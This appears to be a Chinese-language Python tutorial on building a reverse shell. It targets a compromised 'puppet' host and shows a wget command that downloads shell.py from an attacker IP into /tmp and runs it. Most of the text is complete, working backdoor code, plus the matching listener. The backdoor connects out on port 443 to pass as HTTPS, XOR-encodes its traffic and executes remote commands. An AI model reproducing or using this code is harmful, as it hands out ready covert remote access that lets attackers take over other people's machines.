標籤:

0x2:反向shell

##反向shell

參考閱讀:什麼是反向Shell

這篇教程將會教你使用Python編寫一個反向shell,首先我們先演示使用Python如何利用web伺服器的功能,把文件從另一台主機傳送過來。我們假設你有一台傀儡主機,你現在想下載傀儡機上面的的文件。那麼你就可以使用shell(或meterpreter)去訪問這台傀儡機,你可以通過一行Python代碼把傀儡機建立成為一個web伺服器,然後下載傀儡機上面的文件.

創建一個python HTTP伺服器可以直接使用python的內建函數"SimpleHTTPServer"來創建,你可以使用-m參數直接在命令行調用模塊,創建的伺服器默認是監聽的8000埠,但是你可以指定埠,直接在SimpleHTTPServer後面跟一個埠參數:

python -m SimpleHTTPServer 80 # 執行需要root許可權nServing HTTP on 0.0.0.0 80 ...n

我們假設你沒有防火牆去阻止你的連接,那麼你是可以請求到這伺服器的數據。你可以在任何目錄裡面去啟動Python HTTP伺服器,這樣你就能夠通過瀏覽器或者是遠程客戶端來訪問這個目錄。這裡有一個簡單的例子告訴你使用wget工具去獲取文件,但是有些時候就會經常發現你根本沒有許可權在當前目錄寫入文件並且初始化這個腳本,但是你可以改變腳本執行的目錄,下面這個例子就演示了把腳本在/tmp目錄下面執行:

#使用-O參數,把文件保存在其他目錄- /tmp/ 一般可寫nwget -O /tmp/shell.py http://<attacker_ip>/shell.pyn n#修改許可權nchmod a+x /tmp/shell.pyn n# 使用file命令檢查文件是否正確nfile /tmp/shell.pyn n#執行腳本n/usr/bin/python /tmp/shell.pyn

閱讀下面的後門代碼。編碼時會使用到socket,subprocess和sys模塊,選擇subprocess模塊原因,是因為它允許使用一個變數儲存STDOUT輸出的結果,之後可以在代碼中的其他部分通過調用此變數訪問保存的STDOUT數據。下面的代碼中:所建立的連接會監聽443埠。443埠經常用在https上,這裡使用443埠可以起到混淆視聽的作用:

(該段是被控端代碼,在下面那段代碼執行後再執行,格式:python 0x2t.py 192.168.1.105)

#!/usr/bin/pythonn#_*_ coding: utf-8 _*_n nimport socket,subprocess,sysn nRHOST = sys.argv[1]nRPORT = 443ns = socket.socket(socket.AF_INET, socket.SOCK_STREAM)ns.connect((RHOST, RPORT))n nwhile True:n # 從socket中接收XOR編碼的數據n data = s.recv(1024)n n # XOR the data again with a x41 to get back to normal datan en_data = bytearray(data)n for i in range(len(en_data)):n en_data[i] ^=0x41n n # 執行解碼命令,subprocess模塊能夠通過PIPE STDOUT/STDERR/STDIN把值賦值給一個變數n comm = subprocess.Popen(str(en_data), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)n comm.wait()n STDOUT, STDERR = comm.communicate()n n # 輸出編碼後的數據並且發送給指定的主機RHOSTn en_STDOUT = bytearray(STDOUT)n for i in range(len(en_STDOUT)):n en_STDOUT[i] ^=0x41n s.send(en_STDOUT)ns.close()n

上面的代碼中有些概念已經在0x1中介紹過了,但是除了之前的使用socket創建一個連接之外,我們通過subprocess模塊執行了一個命令,subprocess模塊非常的方便,它允許你通過STDOUT/STDERR命令直接把值賦值給一個變數,然後我們可以通過命令把輸出的進行編碼然後通過socket網路發送出去。使用OXR的好處就是你能夠很容易編碼你要發送過去的數據,然後通過相同的密鑰來解碼返回的數據,最後解碼後的數據可以以明文的形式去執行命令。

現在為了利用好這個後門,我們需要一個監聽腳本並且解碼後端傳輸過來的數據,讓我們通過明文很清晰的看清楚返回的數據。下面我們將要設計一個監聽器。來獲取反向shell的數據,並且能夠對於輸入/輸出的進行解碼/編碼,為了能夠在終端上面能夠很清晰的看出來,所以需要使用XOR編碼:

(該段是主控端代碼,需預先執行等待被控端連接,連接後,若~$ 提示符後不為shell命令,程序會出錯,這裡沒有錯誤處理機制,要注意。)

import socket n ns= socket.socket(socket.AF_INET, socket.SOCK_STREAM)ns.bind(("0.0.0.0", 443))ns.listen(2)nprint "Listening on port 443... "n(client, (ip, port)) = s.accept()nprint " Received connection from : ", ipn nwhile True:n command = raw_input(~$ )n encode = bytearray(command)n for i in range(len(encode)):n encode[i] ^=0x41n client.send(encode)n en_data=client.recv(2048)n decode = bytearray(en_data)n for i in range(len(decode)):n decode[i] ^=0x41n print decoden nclient.close()ns.close()n

這章的例子非常有趣,對於學習信息安全的朋友都喜歡shell,大家可以對代碼做點修改讓這個腳本也能夠在window上面也能夠正常運行,最後大家可以使用base64來代替XOR進行編碼與解碼,這些練習讓你更加熟練的使用python.

下面的截圖是一個運行的例子。

推薦閱讀:

看完鹿晗秀恩愛,我們用Python分析回顧薛之謙與李雨桐互撕的江湖事
Python從零開始系列連載(3)——jupyter的常用操作(中)
給妹子講python--01好用的列表
Python從零開始系列連載(19)——Python特色數據類型(列表)(下)

TAG:Python教程 |